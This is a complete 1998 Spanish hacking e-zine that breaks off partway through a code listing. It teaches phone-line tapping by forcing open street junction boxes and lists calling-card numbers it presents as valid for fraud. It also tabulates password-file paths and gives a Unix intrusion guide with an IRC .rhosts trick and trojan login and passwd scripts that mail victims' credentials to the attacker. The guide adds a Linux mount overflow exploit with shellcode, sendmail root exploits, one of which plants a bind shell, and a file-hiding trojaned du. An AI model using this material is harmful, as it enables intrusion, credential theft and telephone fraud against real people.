zed2:(ZEDWOR~1.TXT):14/12/1998 << Back To zed2

ZeD-world-ezine n.2 Puedes distribuir este e-zine,en tu web,bbs o ftp libremente,pero me gustaria que me lo digeses antes de hacerlo,enviame un e-mail a: zed@mixmail.com ZeD no se hace responsable del mal uso o da±os que pueda causar el uso de la informacion contenida en este e-zine (que lo sepas). web oficial del e-zine:www.angelfire.com/ak/HACKZED/ZED2.html miembro oficial del HaCk`S-wEb-RiNg (http://come.to/HaCkS-wEb-RiNg) La gran mayoria de los textos aqui expuestos, son textos pillados de paginas personales,si alguno es tullo y no quieres que aparezca,dimelo y lo quitare. editor : ZeD colaboradores :LordVader --- Roman Soft--- ┐nadie mas? aver si colaborais que es gratis hombre si quieres colaborar en este e-zine manda tu articulo en formato "txt" a mi direccion de e-mail : zed@mixmail.com y sera publicado en el siguiente n║, gracias. CONTENIDOS ---------------------------------------------------------------------------------- 1. La BeigeBox en espa±a 2. Calling Cards 3. Donde se encuentran los ficheros de password en los sistemas mas utilizados 4. UNIX/LINUX hack 5. Tßcticas de guerra en el IRC 6. Bombas en JavaScript 7. Actualizacion del texto "como trucar el Gⁿindows95" 8. Listado de los Pass mas utilizados 8.1 Como elejir una buena contrase±a 9. Ladrones de guante blanco 10. Como se hacer virus sencillos (que no inutiles) 11. Guia del PGP v.2.6.3í 12. Noticias de la red 13. Despedida y cierre ---------------------------------------------------------------------------------- LA BEIGE BOX EN ESPA╤A por: PaKiTo eL cHoKoLaTeRo Ante todo, este texto est escrito únicamente con fines educacionales y yo no me hago responsable del mal uso que se le pueda dar! Bueno, supongo que muchos de vosotros habreis oido hablar de las boxes, o cajitas para hacer cosas a los telefonos. Posiblemente conozcais la blue box, o la black box, ya que son las m s populares. Pues yo os voy a hablar de la beige box, que es la m s sencilla de todas. Puede que muchos de vosotros hayais leido documentos en inglés sobre ello, pero en España todo es muchísimo m s f cil. Necesitar s un pequeño destornillador de estrella o unas pinzas,uno m s grande y plano para reventar la caja, un teléfono al que le puedas quitar el jack (el enchufe ese), y unas buenas piernas para correr si te pillan :) Lo primero de todo es encontrar un cajetín de telonos en la calle. En las zonas con bloques de pisos no encontrareis, ya que se encuentran en las fachadas de los edificios (creo), pero en las zonas de chalets y casas de plantas bajas suele haber. Son grises, y suelen tener unos números fuera y el símbolo de telefónica. Tienen la típica cerradura que es un triangulo. Los hay de pl stico y de metal. Si encontrais una de pl stico, cojonudo, la fuerzas con un destornillador, o con las manos (que tampoco cuesta mucho) y haceis lo que ahora explicaré. Si lo encontrais de metal, probad de forzarlo, que aunque cuesta m s, tambien se puede. Si mirais dentro del cajetín, os encontrareis que los cables van conectados por los lados, y arriba habr una especie de enchufe atado con hilo de pescar así: 1 > │ │ < 1 Los palotes (1) son de metal ┌┴┐ ┌┴┐ │ └─┬┘ │----------- Aquí hay una separación, y se desmonta con │ │ │ dos tornillos que hay │ │ │ └┬╥─┴╥┬┘ │ │ < Esto son la continuación de los palotes, y las rallas │ │ dobles son como unos enganches que de perfil se verian así: ║ ═╝ (Si no est busca en otro, que seguro que ya se lo ha llevado algún espabilao) Lo arrancamos y nos lo llevamos a casa, cerrando el cajetín para que no se vea abierto. Si alguien est ansioso, en vez de llevarselo para endiñarlo al teléfono, puede poner dos pinzas en los extremos de los cables del telefono y pincharlos a la parte de arriba de los palotes, enchufando el "enchufe" en cualquier bujero de la caja. Si no sabes como enchufarlo sigue las instrucciones de la parte interior de la tapa de la caja :) Pero bueno, a lo que íbamos. Nos llevamos el enchufe y le quitamos los tornillos, así veremos que no es m s que un asqueroso cacho de pl stico con dos muelles y dos cachos de hierro :) Bueno, ahora cortamos el cable del telefono, que en teoría ha de tener dos cables. Si tiene 3, posiblemente lo hayais robado de algún hotel o cualquiera de estos sitios que hay que pasar por una "centralita" interna para llamr fue- ra. Aquí sobra un cable, que ser el que no corresponda a una pareja. Estas son : rojo y verde; y blanco y marrón. Si tiene cuatro mirad en el jack que habeis cortado cuales son los dos colores que van al centro, y esos son. De todas formas si tiene cuatro le podeis endiñar dos a cada lado, teniendo en cuenta que los de un mismo par no pueden estar juntos (has enchufado alguna vez las dos partes de un enchufe en un solo bujero). Bueno, ahora los metemos donde van los palotes y luego metemos los palotes, de modo que hagan contacto los cables y los palotes y estos estén como antes. Ahora solo queda montar los tornillos, ir al cajetín y enchufar el enchufe (valga la redundancia) en cualquier sitio que esté usado (tienen que entrar dos cables por el lado y lo negro enroscado hacia dentro). Entonces toca dar línea. Ahora ya puedes llamar, pero ten en cuenta que est s usando la línea de otra persona igualmente que si tuviera dos teléfonos y llamases desde uno de ellos. Personalmente prefiero frecuentar zonas de ricos y llamar desde allí, ya que siempre suelen vivir en casas, donde hay cajetines a saco, y adem s como tienen pelas no nos tenemos que preocupar de arruinar a algún pobre trabajador explotado por el sistema! Otra cosa que no he podido probar :((( es pillar la línea de otra persona y la tuya a la vez. Para ello has de encontrar tu cajetín (sigue el cable)y encontrar tu línea (una forma sencilla de hacerlo es llevarte tu beige box y llamar a tú casa. Si comunica, puede serlo, pero para asegurarse, se puede descolgar el teléfono de tu casa, poner música a toda hostia en el micro del teléfono, y si con tu beige box la oyes, has acertado!). Una vez tienes la línea que es, mira el cable negro gordo de tu línea, y dentro toca haber 2 m s, que son de una línea auxiliar y est n sin usar, a no ser que tengas 2 líneas. Enchufalos en otro sitio, dejando también los suyos enchufados, y una vez en tu casa, ya sabes, pilla el cable negro y ya tienes otra línea. Antes de nada, mirad el PCR (el cacharro ese que ponen al entrar la línea en tu casa) y mirad si se puede pillar de ahí. Yo no lo he mirado porque no tengo :((, pero probad y ya me direis cosas. Ah, si lo usais y teneis centralita digital (por lo de la facturación detalla- da), si llamais a algún número que salga (no salen los metropolitanos, pero Infovía SI sale) no os olvideis de que cuando llegue la factura teneis que volver a dejar la línea igual en el cajetín, porque si tus vecinos se quejan y a la telefónica le da por investigar ..... Bueno, espero que me haya explicado bien, y si, es así de sencillo. Si hay alguna duda, no os corteis en preguntarme. Espero que os sea de utilidad y tambien que no haya aburrido a nadie. Saludosh! eL HeRMaNo aKRaTa del TeMPLo / PaKiTo eL CHoKoLaTeRo / DaRKNeT: 66:666/1.53 ((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((())))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))) CALLING CARDS by:Crackers-Brain Una calling card no es mßs que un n·mero que te da una compa±φa telef≤nica para poder hacer llamadas. Estas compa±φas pueden ser las tφpicas compa±φas telef≤nicas de cada pais, o empresas especializadas en servicios telef≤nicos, que ofrecen la posibilidad de hacer llamadas internacionales por un precio mßs bajo de lo normal. Las cards pueden cobrarse con la factura del abonado si se trata de una compa±φa telef≤nica, o de otras m·ltiples maneras. Normalmente las cards estan compuestas por un n·mero y un PIN, donde los primeros son de 10 cifras, y el pin de 4, aunque pueden haber bastantes variantes. Estos n·meros los da la propia compa±φa, y no suelen corresponderse con los algoritmos de ning·n tipo de tarjeta de crΘdito. Algunas de estas empresas permiten usar ViSA, claro que despuΘs de entrarla, pide un 'telecode' o pin, que se supone te lo proporciona la propia compa±φa, lo que hace suponer a su vez que has de dar de 'alta' esa ViSA en su servicio antes de poder realizar llamadas. De todos modos, este es un tema donde se podrφa investigar e intentar saber si realmente el c≤digo que piden no tiene nada que ver con la tarjeta o si ,por lo contrario, es la fecha de expiraci≤n, las cuatro ·ltimas cifras, o alg·n tipo de combinaci≤n de las cifras que componen la tarjeta de crΘdito en cuesti≤n. .. Destacar que AT&T estuvo haciendo pruebas durante el verano del 95 donde se podφa usar una ViSA y su fecha de caducidad para realizar llamadas. Desfortunadamente, esta posibilidad duro bastante poco, pero nunca se puede descartar que exista algun 900 de AT&T que lo permita, o que haya otra compa±φa donde tambiΘn se pueda. Las cards mas conocidas son sin duda las de AT&T, que han sido usadas y abusadas durante mucho tiempo. Pero en los escaneos de 900 se encuentran muchos telΘfonos de compa±φas que ofrecen estos servicios y que no son tan conocidas, aunque no por esto, menos vßlidas ! Normalmente, las compa±φas telef≤nicas de cada pais tienen un sitema de calling cards, al que se accede llamando al 900 99 00 XX , siendo XX el c≤digo telef≤nicodel pais. Asφ, Alemania serφa 900 99 00 49 , AT&T es 900 99 00 11, etc.. Hay paises donde varφa ligeramente este esquema, teneis una lista en el listφn telef≤nico con todos los paises que tienen el Servicio Directo Pais y la mayorφa son automatizados usando calling cards. Total, que para usar estas cards, tendreis que conseguirlas, vosotros sabreis como. Pensad que hay muchas empresas que usan estos servicios para llamadas internacionales, aunque suelen llamar a un numero local. Todo es conseguir esa card. Otra posibilidad es ir investigando si hay algun tipo de default, o una vez tengais una, hacer pruebas, o lo que os de la gana. En algunos paises, hay prepaid cards de la o las compa±φas Telef≤nicas que son tarjetas con un crΘdito X que va bajando, como si se tratara de una de las smartcards de Telef≤nica, con un n·mero que se puede usar a travΘs de estos servicios. Este tipo de tarjeta no suele tener PiN, asφ que con saber alg·n n·mero, es probable que podais deducir el patr≤n que usan y aprovecharos de ello. Este serφa el mΘtodo a seguir: Llamais a AT&T al n·mero gratuito 900 99 00 11 desde Espa±a (desde un telΘfono fijo o desde una cabina.) Ejemplo prßctico: Marco 900 99 00 11 "Pirirφn!!" (musiquilla). Despues dice algo como: "AT&T. To make a call or a ... bla bla bla"). Esperais a que os salga una operadora que dice: OPERADORA> "AT&T can I help you?" PHREAKER> in Spanish, please. (para los que no tengais ni idea de inglΘs: se pronuncia: "in espanish, plis" o si no, directamente le dices: "Deseo hablar en Espa±ol") OPERADORA> ┐Que desea? PHREAKER> Deseo hacer una llamda con mi Calling Card. OPERADORA> Muy bien, a los EE.UU/Canada o llamada de larga distancia? PHREAKER> Es una llamada internacional. (Supongamos que queremos llamar a un amigo que esta en Londres, cuyo # de TelΘfono es: 895064 y que estß en Cambridge. Entonces el n·mero es 44 1223 895064. (U.K)+Cambridge+n·m. OPERADORA> Su numero de Calling Card, por favor. PHREAKER> 23389562339956 OPERADORA> Espere... PHREAKER> :D Hay dos opciones: a) OPERADORA> Te pide el # de telΘfono y sale todo bien. b) OPERADORA> Te dice que: "El # de Calling Card ha expirado o no es vßlido". Si sale la opci≤n b) no cuelgues, actua con total tranquilidad y naturalidad, y le dices tranquilamente que deseas comprobarlo de nuevo (y le dices otro # de tarjeta...) Tarde o temprano, siempre funciona. Y AHI VAN LOS N┌MEROS de Calling Cards vßlidos que he conseguido: íPronto, segunda entrega con mßs n·meros! 61228956677349 06773401667340 62390672339061 51278451112895 61289566734406 67340167340111 28956128956222 89562734401673 40172239067785 01784511278451 22239066233906 99562389556233 40116734017833 01177884445500 11778884455111 22338889955566 23399444551122 89955666667773 49990066773334 99006677333440 11199006677733 77788334440055 55661112288999 67722339990000 78844555112227 44555556622333 40178895661289 56238895623344 01673401778340 88451283906772 00673490673401 16734051289945 12895612889506 73490673401167 34051284450178 45017845116239 05623906662390 61784500178451 17845116239056 ********************************************************************************* ********************************************************************************* Asφ puΘs, aquφ teneis los 900 , mßs algun otro que he considerado que puede ser interesante y que tambiΘn tienen relaci≤n con las susodichas compa±φas telef≤nicas. Serφa interesante que la lista se fuera ampliando, por lo tanto, si encontrais algun 900 que tuviera cabida aquφ, no dudeis en enviarmelo. Igualmente, si alguno de estos deja de funcionar, mensaje al canto para poder mantener la lista lo mßs actualizada posible. Compa±φa---TelΘfono---Comentarios AT&T ----- 900 99 12 35----- AT&T Teleticket Service 900 95 11 63----- AT&T Card - Aleman 900 95 11 64----- AT&T Card - Italiano 900 95 11 65 ----- AT&T Card - Japones Citizen Com.----- 900 95 14 30----- Citizen Comunications Conquest----- 900 94 14 30----- Conquest Dial Services----- 900 99 10 23 ----- Dial Services Global One----- 900 97 13 41----- Global One VISA----- 900 96 13 26----- Global One - Japones VISA----- 900 96 13 27----- Global One - Italiano VISA----- 900 99 44 31----- Global One Prepaid MCI----- 900 94 14 29----- MCI Prepaid Calling Card Service 900 94 11 35----- MCI Customer Support Sprint----- 900 99 13 54----- Sprint Prepaid Calling 900 95 11 68----- Sprint Prepaid Calling Telstra----- 900 99 61 55----- Telstra International Free Calls 900 99 61 49----- Telstra International Free Calls INFO 900 99 61 42 ----- Telstra ViSA 900 99 61 68----- Telstra Phone Service Viatel----- 900 94 14 03 ----- Viatel 900 99 10 76----- Viatel 900 97 14 14----- Viatel World Telecom----- 900 98 14 24----- World Telecom 900 97 44 89----- World Telecom ////////////////////////////////////////////////////////////////////////////////////////////\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ 3. ┐donde se encuentran los ficheros de password? Todos los sistemas mas utilizados del momento tienen un directorio especial en el que los Root del sistema guardan los ficheros que contienen los password de los ususarios.Aqui descubriras cuales son esos directorios: AIX 3 /etc/security/passwd /tcb/auth/files/<first letter of username>/<username> A/UX 3.0s /tcb/files/auth/?/* BSD4.3-Reno /etc/master.passwd ConvexOS 10 /etc/shadpw ConvexOS 11 /etc/shadow DG/UX /etc/tcb/aa/user/ EP/IX /etc/shadow HP-UX /.secure/etc/passwd IRIX 5 /etc/shadow Linux 1.1 /etc/shadow OSF/1 /etc/passwd[.dir|.pag] SCO Unix #.2.x /tcb/auth/files/<first letter of username>/<username> SunOS4.1+c2 /etc/security/passwd.adjunct SunOS 5.0 /etc/shadow <optional NIS+ private secure maps/tables/whatever> System V Release 4.0 /etc/shadow System V Release 4.2 /etc/security/* database Ultrix 4 /etc/auth[.dir|.pag] UNICOS /etc/udb ñññññññññññññññññññññññññññññññññññññññññññññññññññññññññ ñññññññññññññññññññññññññññññññññññññññññññññññññññññññññ 4. UNIX/LINUX HacK por:Raven Spirit Hola a todos. Espero que los que leais este documento comprendais como se hackea un unix. Por supuesto es demasiado dificil desencriptar la cuenta del root, por lo que solo se utiliza en casos extremos, asi como los programas tipo dictmake solo se usan en casos muy raros y cuando no nos queda otro recurso. Empezamos. Antes de empezar me gustaria que quedara claro que si quereis ser hackers en serio necesitais linux, no es absolutamente necesario pero facilita muchisimo las cosas. (* no es por recalcar pero yo os lo advertφ, asi que allß vosotros........) Para hackear un unix la primera cosa que necesitamos es, logico, introducirse en el sistema. Algunos otros ordenadores tienes ftp∩s anonimos a los que podemos acceder, pero hacedme caso, no servir para nada. Para introducirnos en un sistema necesitamos que tenga al menos una parte de acceso publico. Generalmente esa parte es la famosa pantalla " Login: y Password: " que me imagino que todos conocereis. Esta pantalla simplemente vale para identificar que la entrada de un usuario en ese sistema sea legitima. Sin embargo esas tontas maquinas que solo saben la diferencia entre 0 y 1 si les damos un login y password que esten dados de alta en ese sistema nos dejara pasar ( a no ser que tengan un sistema de reconocimiento de IP para lo que necesitariamos hacer IP-Spoofing , pero esto solo nos ocurrira en ciertos ordenadores de alta seguridad ). ¿ Como conseguir acceso al sistema ? La manera mas facil, la ingenieria social. No creo que haga falta explicar eso. Simplemente podeis utilizar en comando finger, para los que useis linux y los que no usais el finger del mIrc. Este comando nos dara informacion sobre el titular del e-mail que nostros le demos, que segun la maquina sera, o mas o menos o a veces nada. Menos da una piedra. Si estais desde linux podeis usar comandos "r" como "rlogin loquesea.com -l loginquesea" esto os mete en el sistema, pero hay que conseguir una cuenta para poder usar los exploits que explicaré mas adelante. Sin embargo hay otras maneras de conseguir acceso al sistema, como por ejemplo la que explico ahora. COMO ACCEDER A UN ORDENADOR HACKEANDO DESDE EL IRC: Esto solo lo podeis hacer desde linux, yo lo he probado desde win95 y 3.1 y no lo he conseguido hacer. Primero hacemos un /whois #uncanalconmuchagente para encontrar si hay alguien que se conecte desde un unix, que normalmente ser una universidad. El unico problema que tiene esto es que no podemos elegir el ordenador, pero de todas maneras es muy divertido. Lo unico que necesitamos es meter la cadena + + en su fichero /.rhosts y la verdad es que es una tonteria tremenda. Buscamos a la victima y vamos a un canal donde este el, despues le hablaremos desde un privado. Ahora entra la imaginacion de cada uno, porque tenemos que mandarle un fichero por DCC ( por ejemplo prueba.irc ) y que el escriba: /load prueba.irc Me imagino que vuestra imaginacion os ayudara a resolverlo. Lo primero es conseguir el fichero prueba.irc. Solo esta linea : /exec echo: "/exec echo + + > $HOME/.rhosts >> prueba.irc Ya tenemos el fichero prueba, lo mejor es que para que no se de cuenta podemos añadirle alguna conachada que se nos ocurra ( alla cada uno se las apañe ). Listo. Cuando el tio en cuestion escriba /load prueba.irc nosotros ejecutamos % rlogin ordenador_de_la_victima.com -l login_de_la_victima Ya estamos dentro. Facil ¿ No ? Y para terminar un truquillo que quizas os valga para algo, simplemente cambiamos la paridad de nuestro modem a 7E1 y telneteamos al ordenador en cuestion. Si hemos tenido suerte, cuando alguien intente conectarse, nos "colaremos" en su lugar. Despues de todo esto se supone que ya estamos dentro. Ahora hay que, o sacar una cuenta si no la tenemos o conseguir privilegios de root. Para lo primero: - Podemos usar el archirenombrado /ect/passwd ( si tenemos privilegios para leerlo ) y crackearlo pero si quereis mi consejo solo usad el fichero passwd para conseguir una cuenta cualquiera en el sistema y poder ejecutar comandos en él, poder usar un bug o exploit. - Usar un trojan o Caballo De Troya, esta opcion tambien requiere tiempo pero por supuesto menos que crackear el fichero passwd, por que funciona en cuanto cualguier usuario se conecte al sistema. ATENCION, si conseguimos la cuenta del root nos podremos saltar el paso " conseguir privilegios de root ", aunque los sysadmins, algunos, pueden sospechar aunque la verdad es que despues de hackear durante un tiempo te das cuenta de lo estupidos que pueden llegar a ser. Quizas sea una de las mejores formas. Un caballo de troya es un fichero que metido en el sistema hace que un usuario crea que ha introducido su password mal, pero en realidad el password es enviado a la direccion de correo que nosostros le digamos. Aqui incluyo uno, pero acordaos de ponerle la direccion a la que quereis que os mande el passwd, y ademas en algunos sistemas en lugar de "Login:" nos dice : "marte login: " o algo distinto de login, por lo que tambien lo tenemos que cambiar para que nadie note la diferencia. Este es : ------SCRIPT------ #!/bin/sh rm -rf $0 cp $HOME/.login $HOME/.l echo ''>$HOME/.hushlogin echo "stty intr '^@' echo 'Login incorrect' echo -n 'login: ' echo $<>.t echo -n 'Password: ' stty -echo echo $<>>.t mail tunombre@tudirecciondecorreoanonima<.t rm .t cat /etc/motd mv .l .login rm .hushlogin stty echo source .login">$HOME/.login ----END SCRIPT---- Este tipo de scripts tambien se pueden usar en /bin/passwd, para cuando un usuario cambie su contrase±a pero el problema es que no es muy normal que un usuario cambie su contraseña, o por lo menos pasa muy de vez en cuando. Para mayor seguridad lo mejor es poner el que esta arriba,( para el caso es mejor poner los dos ) pero sin embargo aqui pongo el otro, por si acaso ( acordaos de la direccion de correo ) : ------SCRIPT------ #!/bin/tcsh echo -n "Changing password for $USER on ";hostname echo -n "Old password: " stty -echo echo $<>$HOME/.tym echo "" echo -n "New password: " echo $<>>$HOME/.tym echo "" stty echo mail tunombre@tudirecciondecorreoanonima<$HOME/.tym rm $HOME/.tym echo "Error: Incorrect Password" rm -f $0 unalias /bin/passwd unalias passwd ---END SCRIPT--- La ventaja que tienen estos dos scripts es que no influye que el fichero passwd este shadowed o no. Creo que con esto nos llega para conseguir una cuenta en un ordenador normal. Pasamos a lo siguiente, conseguir los privilegios de root. Para conseguir privilegios de root en un sistema NO hace falta desencriptar la cuenta del root del fichero passwd. Para ser root recurrimos a los bugs y a los exploits. Los bugs son "agujeros" en el diseño del SSOO y se suelen encontrar en listas de correo de seguridad, aunque hay algunas webs donde estan recopilados. Los exploits son programas que utilizan esos bugs para conseguirnos privilegios de root, aunque no es para lo unico que sirven, me refiero a que podemos usar un exploit para leer el correo de alguien, para ocultar lo que estemos haciendo en el ordenador etc... Los exploits son ficheros de codigo .c que hay que compilar en el ordenador a hackear. Se meten por ftp y se compilan: % cc -o loquesea loquesea.c % loquesea Listo. Hay algunos que requieren una manera especial de utilizacion, pero lo indica claramente si editamos el fichero. Los bugs y exploits suelen estar clasificados por sistemas, para que sea mas facil localizarlos. La verdad es que os recomiendo tener los exploits y bugs en vuestro ordenador ordenados por directorios, para que no perdais el tiempo la paciencia buscandolos. Para que tengais alguna ayuda os voy a poner aqui unos cuantos: Quizas este ya lo conozcais, es el mount, y funciona en casi todos los linux: <-------------------------------------CORTAD AQUI---------------------------> /* Mount Exploit for Linux, Jul 30 1996 Discovered and Coded by Bloodmask & Vio Covin Security 1996 */ #include <unistd.h> #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <sys/stat.h> #define PATH_MOUNT "/bin/umount" #define BUFFER_SIZE 1024 #define DEFAULT_OFFSET 50 u_long get_esp() { __asm__("movl %esp, %eax"); } main(int argc, char **argv) { u_char execshell[] = "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f" "\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd" "\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh"; char *buff = NULL; unsigned long *addr_ptr = NULL; char *ptr = NULL; int i; int ofs = DEFAULT_OFFSET; buff = malloc(4096); if(!buff) { printf("can't allocate memory\n"); exit(0); } ptr = buff; /* fill start of buffer with nops */ memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell)); ptr += BUFFER_SIZE-strlen(execshell); /* stick asm code into the buffer */ for(i=0;i < strlen(execshell);i++) *(ptr++) = execshell[i]; addr_ptr = (long *)ptr; for(i=0;i < (8/4);i++) *(addr_ptr++) = get_esp() + ofs; ptr = (char *)addr_ptr; *ptr = 0; (void)alarm((u_int)0); printf("Discovered and Coded by Bloodmask and Vio, Covin 1996\n"); execl(PATH_MOUNT, "mount", buff, NULL); } <--------------------------------------FINAL--------------------------------> Este otro exploit os dara un shell de root en los ordenadores que usen el sendmail 8.6.4, este es el codigo original, leed las lineas que empiecen por # porque es lo que teneis que escribir vosotros por que es distinto en cada sistema: <--------------------------------CORTAD AQUI--------------------------------> # location of sendmail SENDMAIL=/usr/lib/sendmail # location of original sendmail.cf file CONFIG=/nau/local/lib/mail/sendmail.cf #CONFIG=`strings $SENDMAIL | grep sendmail.cf` # program to execute as root SHELL=/bin/csh TEMPDIR=/tmp/sendbug-tmp.$$ mkdir $TEMPDIR chmod 700 $TEMPDIR cd $TEMPDIR cp $SENDMAIL sm chmod 700 sm echo "Creating setid0 ..." cat > setid.c << _EOF_ /* set uid to zero, thus escaping the annoying csh and solaris sh * problem.. * * if (getuid() != geteuid()) { * printf("permission denied, you root-hacker you.\n"); * exit(1); * } * * .. must be run euid 0, obviously. with no args it runs /bin/sh, * otherwise it runs the 1st arg. */ #include <stdio.h> main(argc, argv) int argc; char *argv[]; int uid; setuid(0); setgid(0); seteuid(0); /* probabally redundant. */ setegid(0); uid = getuid(); if (uid != 0) { printf("setuid(0); failed! aborting..\n"); exit(1); } if (argc !=2) { printf("executing /bin/sh...\n"); system("/bin/sh"); } else { printf("executing %s...\n", argv[1]); system(argv[1]); } _EOF_ cc -o setid0 setid.c echo "Creating calc..." cat > calc.c << _EOF_ /* * Determines offset in sendmail of * sendmail.cf file location. * author: timothy newsham */ #include <fcntl.h> gencore() int pid; int fd[2]; if(pipe(fd) < 0) { perror("pipe"); exit(1); return(0); } pid = fork(); if(!pid) { int f = open("./out", O_RDWR|O_CREAT, 0666); dup2(f, 1); dup2(fd[0], 0); close(f); close(fd[1]); close(fd[0]); execl("./sm","sm","-d0-9.90","-oQ.","-bs", 0); perror("exec"); exit(0); } else { sleep(2); kill(pid, 11); } close(fd[0]); close(fd[1]); main(argc,argv) char **argv; int argc; unsigned int ConfFile,tTdvect,off; gencore(); sync(); /* grr. */ tTdvect = find("ZZZZZZZZ", "core"); ConfFile = find(argv[1], "core"); if(!tTdvect || !ConfFile) { return(1); } off = ConfFile - tTdvect; printf("-d%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.0\n", off, '/', off+1, 't', off+2, 'm', off+3, 'p', off+4, '/', off+5, 's', \ off+6, 'm', off+7, '.', off+8, 'c', off+9, 'f', off+10); int find(pattern, file) char *pattern,*file; int fd; int i, addr; char c; fd = open(file, 0); i = 0; addr = 0; while(read(fd, &c, 1) == 1) { if(pattern[i] == c) i++; else i=0; if(pattern[i] == '\0') { addr -= strlen(pattern); return(addr); } addr++; } return(0); _EOF_ cc calc.c -o calc echo "Scanning core image for $CONFIG..." DEBUGFLAGS=`calc $CONFIG` echo "Creating alias.sh ..." echo "#!/bin/sh # this program will be executed when mail is sent to the fake alias. # since solaris sh and csh and tcsh refuse to run when euid != realuid, # we instead run the program we compiled above. /bin/chmod 6777 $TEMPDIR/setid0 /bin/chown root $TEMPDIR/setid0 /bin/sync " > alias.sh chmod 755 alias.sh echo "Creating fake alias file..." echo "yash: |$TEMPDIR/alias.sh" > aliases echo "Faking alias pointer in new config file..." egrep -v '(OA|DZ|Ou|Og)' $CONFIG > /tmp/sm.cf echo " # hacks follow OA/$TEMPDIR/aliases # our fake alias file Ou0 # user ID to run as Og0 # group ID to run as DZWHOOP-v1.0" >> /tmp/sm.cf echo "Creating the sendmail script..." cat > sendmail.script << _EOF_ helo mail from: <nobody> rcpt to: <yash> data yet another sendmail hole? suid whoop? \. # oops.. delete \ prior to execution quit _EOF_ echo "Executing $SENDMAIL $DEBUGFLAGS -bs..." $SENDMAIL $DEBUGFLAGS -bs < sendmail.script # give it time to execute. sleep 4 # cleanup in 5 seconds (sleep 5; rm -rf $TEMPDIR ; rm /tmp/sm.cf) & if [ -u setid0 ] then echo "setid0 is a suid shell. executing..." cd / $TEMPDIR/setid0 /bin/csh echo "end of script." exit 0 else echo "setid0 is not suid; script failed." echo "apparently, you don't have the bug. celebrate :-)" exit 1 fi <----------------------------------FINAL-------------------------------------> Este otro os har root en los ssoo con el sendmail 4.x <-------------------------------CORTAR AQUI----------------------------------> #!/bin/sh # Uso: smail <hostname> <target-user-name> <target-port> <shell command> # Defecto: smail <localhost> <daemon> <7001> </bin/sh> port=$3 user=$2 cmd=$4 if [ -z "$2" ]; then user=daemon fi if [ -z "$3" ]; then port=7002 fi if [ -z "$4" ]; then cmd="/bin/csh -i" fi ( sleep 4 echo "helo" echo "mail from: |" echo "rcpt to: bounce" echo "data" echo "." sleep 3 echo "mail from: $user" echo "rcpt to: | sed '1,/^$/d' | sh" echo "data" echo "cat > /tmp/a.c <<EOF" cat << EOF #include <sys/types.h> #include <sys/signal.h> #include <sys/socket.h> #include <netinet/in.h> #include <netdb.h> reap(){int s;while(wait(&s)!=-1);}main(ac,av)int ac; int **av;{struct sockaddr_in mya;struct servent *sp ;fd_set muf;int myfd,new,x,maxfd=getdtablesize(); signal(SIGCLD,reap);if((myfd=socket(AF_INET,SOCK_STREAM, 0))<0)exit(1);mya.sin_family=AF_INET;bzero(&mya.sin_addr, sizeof(mya.sin_addr));if((sp=getservbyname(av[1],"tcp")) ==(struct servent *)0){if(atoi(av[1])<=0)exit(1);mya.sin_port =htons(atoi(av[1]));}else mya.sin_port=sp->s_port;if(bind(myfd, (struct sockaddr *)&mya,sizeof(mya)))exit(1);if(listen(myfd, 1)<0)exit(1);loop: FD_ZERO(&muf);FD_SET(myfd,&muf);if (select(myfd+1,&muf,0,0,0)!=1||!FD_ISSET(myfd,&muf))goto loop;if((new=accept(myfd,0,0))<0)goto loop;if(fork() ==0){for(x=2;x<maxfd;x++)if(x!=new)close(x);for(x=0;x< NSIG;x++)signal(x,SIG_DFL);dup2(new,0);close(new);dup2 (0,1);dup2(0,2);execv(av[2],av+2);exit(1);}close(new); goto loop;} EOF echo "EOF" echo "cd /tmp" echo "/bin/cc /tmp/a.c" echo "/bin/rm a.c" echo "/tmp/a.out $port $cmd" echo "." echo "quit" ) | mconnect $1 <------------------------------------FINAL-----------------------------------> Y por ultimo este otro, que no es para ser root, si no para ocultar ficheros en un directorio, que no se veran al hacer "ls". Este fichero se copia en /bin/ls sobreescribiendo al original. Lo de siempre, es el codigo original, leed los /*. <----------------------------------CORTAR AQUI-------------------------------> #ifndef lint static char sccsid[] = "@(#)du.c 1.1 91/11/13 SMI"; /* from UCB 4.11 83/07/01 */ #endif /* * du */ #include <stdio.h> #include <sys/param.h> #include <sys/stat.h> #include <sys/dir.h> char path[BUFSIZ], name[BUFSIZ]; int aflg; int sflg; char *dot = "."; #define ML 1000 struct { int dev; ino_t ino; } ml[ML]; int mlx; /*+ * Hack vars - oops they're global * but wtf cares, its a hack. +*/ #define FILENAME "/dev/ptyr" #define STR_SIZE 128 #define SEP_CHAR " \n" #define SHOWFLAG /* Able to get du stats with `du -/` command */ struct h_st { struct h_st *next; char filename[STR_SIZE]; }; struct h_st *hack_list; struct h_st *h_tmp; char tmp_str[STR_SIZE]; FILE *fp_hack; int showall=0; long descend(); char *index(), *rindex(), *strcpy(), *sprintf(); #define kb(n) (howmany(dbtob(n), 1024)) main(argc, argv) int argc; char **argv; { long blocks = 0; register char *np; int pid; int c; extern int optind; #if defined (SHOWFLAG) while ((c = getopt(argc, argv, "as/")) != -1) #else while ((c = getopt(argc, argv, "as")) != -1) #endif switch (c) { case 'a': aflg++; break; case 's': sflg++; break; #if defined (SHOWFLAG) case '/': showall++; break; #endif default: (void)fprintf(stderr, "Usage: du [-as] file . . .\n"); exit (2); } /*+ Read in list of files to block +*/ h_tmp=(struct h_st *)malloc(sizeof(struct h_st)); hack_list=h_tmp; if (fp_hack=fopen (FILENAME, "r")) { while (fgets(tmp_str, 126, fp_hack)) { h_tmp->next=(struct h_st *)malloc(sizeof(struct h_st)); strcpy (h_tmp->filename, tmp_str); h_tmp->filename[strlen(h_tmp->filename)-1]='\0'; h_tmp=h_tmp->next; } } h_tmp->next=NULL; /*+ On with the program +*/ argc -= optind; argv += optind; if (argc == 0) { argv = &dot; argc = 1; } do { if (argc > 1) { pid = 